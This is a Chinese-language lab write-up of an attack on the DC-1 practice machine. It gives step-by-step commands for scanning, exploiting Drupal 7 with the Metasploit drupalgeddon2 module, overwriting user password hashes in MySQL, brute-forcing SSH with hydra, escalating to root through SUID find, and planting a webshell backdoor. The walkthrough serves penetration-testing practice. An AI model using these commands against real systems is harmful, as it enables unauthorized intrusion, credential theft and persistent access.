1.100个渗透测试实战#1(DC—1)
目录
1.查看kali的网卡和IP信息;(网卡名:eth0;IP:192.168.97.129)
3.探测主机的存活状态(netdiscover、arp-scan 、nmap);
1.扫描端口,以及端口对应的服务信息,以及靶机的操作系统信息;
(四)渗透测试——kali的msf利用drupal漏洞反弹shell
(五)利用反弹后的shell,进行再一次的信息收集,从而进行本地提权
4.根据flag2的提示,我们进行hydra暴力**flag4用户的ssh服务;
5.ssh登录flag4用户,或者直接切换为flag4用户,从而查看flag4.txt;
6.根据flag3的提示,我们进行find提权;以及根据flag4的提示,我们访问root的家目录,从而得到最终的flag;
3.物理机Win10,使用中国菜刀连接该webshell即可;
unix/webapp/drupal_drupalgeddon2
scripts目录下,存储着很多的脚本,如hash的加密脚本password-hash.sh
password-hash.sh的使用方法:不能在脚本的当前目录下执行,所以php scripts/password-hash.sh 123
sites/default/settings.php,该文件存放着数据库的连接配置
查看具有suid权限的命令:find / -perm -u=s 2>/dev/null
验证命令的权限,如find命令:ls -l /usr/bin/find
利用find命令,进行本地提权:find -name xxx -exec "/bin/sh" \;
一、实验环境
- 靶机:DC-1,IP地址:192.168.97.146
- 测试机:kali,IP地址:192.168.97.129
- 测试机:物理机Win10
二、实验流程
- 信息收集——主机发现阶段
- 信息收集——端口(服务)扫描阶段
- 渗透测试——80端口
- 渗透测试——msf利用drupal7的rce漏洞,反弹shell
- 渗透测试——利用反弹得到的shell,进行本地提权
- 删除痕迹,留下后门
三、实验步骤
(一)信息收集——主机发现
1.查看kali的网卡和IP信息;(网卡名:eth0;IP:192.168.97.129)
2.查看靶机页面;
3.探测主机的存活状态(netdiscover、arp-scan 、nmap);
- netdiscover -i eth0 -r 192.168.97.0/24
-i 指定网卡
-r 指定网段
- arp-scan -l
--localnet or -l 指定扫描本地网络
- nmap -sP 192.168.97.0/24
-sP ping扫描且不进行端口扫描
(二)信息收集——端口(服务)扫描
1.扫描端口,以及端口对应的服务信息,以及靶机的操作系统信息;
- nmap -p- -sV -O -A 192.168.97.146
-p- 扫描全端口
-sV 扫描端口对应的服务
-O 扫描靶机的系统版本
-A 扫描靶机的系统版本
2.分析所得:
- 22端口处于open状态,且开启了ssh服务
- 80端口处于open状态,且开启了http服务,且站点为drupal
- drupal6/7/8版本,存在着免身份认证的远程代码执行漏洞(RCE)
(三)渗透测试——80端口(http服务)
1.对靶机的网站进行目录遍历;
- dirb http://192.168.97.146 /usr/share/dirb/wordlists/big.txt
- 遇见扫描:
2.在扫描的同时,火狐浏览器访问主页;
- 主页信息如下:
- 使用Web指纹识别插件Wappalyzer,识别该网站的CMS
3.尝试访问,robots.txt文件;
- 浏览器访问:http://192.168.97.146/robots.txt
4.逐个访问以上扫描出来的以及robots.txt的页面;
- 访问的结果:第一种是一些版本信息;第二种是404;第三种是跳转到登录后台页面,需要我们进行身份认证才可以访问这些内容
5.分析所得:
- 获得了一个drual网站的后台登录页面
- 该drual的版本为7,可能存在着免身份认证的RCE漏洞
(四)渗透测试——kali的msf利用drupal漏洞反弹shell
1.进入msf,利用漏洞;
- msfconsole
- search drupal
- use exploit/unix/webapp/drupal_drupalgeddon2
- set rhosts 192.168.97.146
- set rport 80
- exploit
-
shell
2.从哑shell转换为交互式的完整的shell;
- python -c 'import pty;pty.spawn("/bin/bash")'
(五)利用反弹后的shell,进行再一次的信息收集,从而进行本地提权
1.开始致命连问
- whoami
- id
- pwd
- ls
如下图所示,我们发现了flag1.txt
- cat flag1.txt
如下图所示,提示我们查看配置文件(durpal的配置文件默认为:sites/default/settings.php)
- find / -name settings.php
- cat /var/www/sites/default/settings.php
如下图所示:
我们的配置文件内,有flag2,意思为暴力**不只是一种方法,你还能根据目前的信息做什么?
还有一个MySQL数据库的连接信息,数据库名drupaldb,连接用户名和密码,对应端口
- netstat -pantu
- mysql -udbuser -pR0ck3t
- show databases;
- use drupaldb;
- desc users;
- select uid,name,pass from users;
如下图所示,我们的数据库里面存放了两个用户,但是密码经过了hash加密
(注意:这里我们要知道,drupal的站点,它自带一个scripts目录,其目录下有一个password-hash.sh加密文件,我们在存储密码之前,都会先加密,再把加密后的密文,存放在数据库中)
(我们可以,把123加密,再更新数据库里的密码,即可使用123登录后台)
- php scripts/password-hash.sh 123
-
mysql -udbuser -pR0ck3t
-
use drupaldb
- update users set pass="$S$DuQpD3Ddq/8U7UfRomcdkhS5zlfv6cOtUfSbu/B.yfz7EtvN.3iP" where name="admin";
- update users set pass="$S$DuQpD3Ddq/8U7UfRomcdkhS5zlfv6cOtUfSbu/B.yfz7EtvN.3iP" where name="Fred";
如下图所示,我们已经把admin用户和Fred用户的密码改为了123
2.登录后台
- Fred用户,密码123登录
如下图所示,没有可用信息
- admin用户,密码123登录
如下图所示,我们在Dashboard内发现flag3,其内容就是提示我们进行suid的find提权
(注意:find -name 文件名 -exec 系统命令)(find命令在经过查询后,可以接着执行系统命令;假如find被给予了root权限,那么就可以用root打开一个shell了)
2.分析所得:
- flag2提示,我们暴力** or 使用当前的数据库信息
- 后台页面flag3,提示我们进行find -exec提权
3.继续致命连问;
- ls /home
- cd /home/flag4
- ls
- cat flag4.txt
如下图所示,我们的flag4.txt不允许访问
- ls -l
//如下图所示,该flag4.txt的其他人的没有读权限,所以需要flag4用户,或者root用户来访问它
(其实,此处的flag4.txt原本可以访问,只是我进行了稍微的修改,我感觉这样跟合理一点。。。。。)
4.根据flag2的提示,我们进行hydra暴力**flag4用户的ssh服务;
- hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.97.146
如下图所示,暴力**的结果为:flag用户的密码是orange
5.ssh登录flag4用户,或者直接切换为flag4用户,从而查看flag4.txt;
- su flag4
orange
如下图所示,flag4提示我们要用相同的方法得到最终flag,也就是进入root的家目录
6.根据flag3的提示,我们进行find提权;以及根据flag4的提示,我们访问root的家目录,从而得到最终的flag;
- find / -perm -u=s 2>/dev/null
如下图所示,find命令有suid权限
- ls -l /usr/local
如下图所示,find命令被给予的suid权限是root的
- cd /tmp
- touch pr
- find -name pr -exec "/bin/sh" \;
如下图所示,我们切换到了tmp目录下,随便创建一个文件,使用find可搜索,可执行命令的特性打开一个shell
很明显,$符号变成了#,提权成功
- id
- whoami
- cd /root
- ls
- cat thefinalflag.txt
如下图所示,我们进入root的家目录/root,发现了thefinalflag.txt文件,cat一下即可
(六)留下后门
1.kali编写1.php;
2.nc传输到靶机的/var/www目录下;
3.物理机Win10,使用中国菜刀连接该webshell即可;
四、总结
1.drupal 7,存在着免身份认证的rce漏洞;
-
unix/webapp/drupal_drupalgeddon2
2.drupal 7,的目录结构;
-
scripts目录下,存储着很多的脚本,如hash的加密脚本password-hash.sh
-
password-hash.sh的使用方法:不能在脚本的当前目录下执行,所以php scripts/password-hash.sh 123
-
sites/default/settings.php,该文件存放着数据库的连接配置
3.suid的提权方法——find
-
查看具有suid权限的命令:find / -perm -u=s 2>/dev/null
-
验证命令的权限,如find命令:ls -l /usr/bin/find
-
利用find命令,进行本地提权:find -name xxx -exec "/bin/sh" \;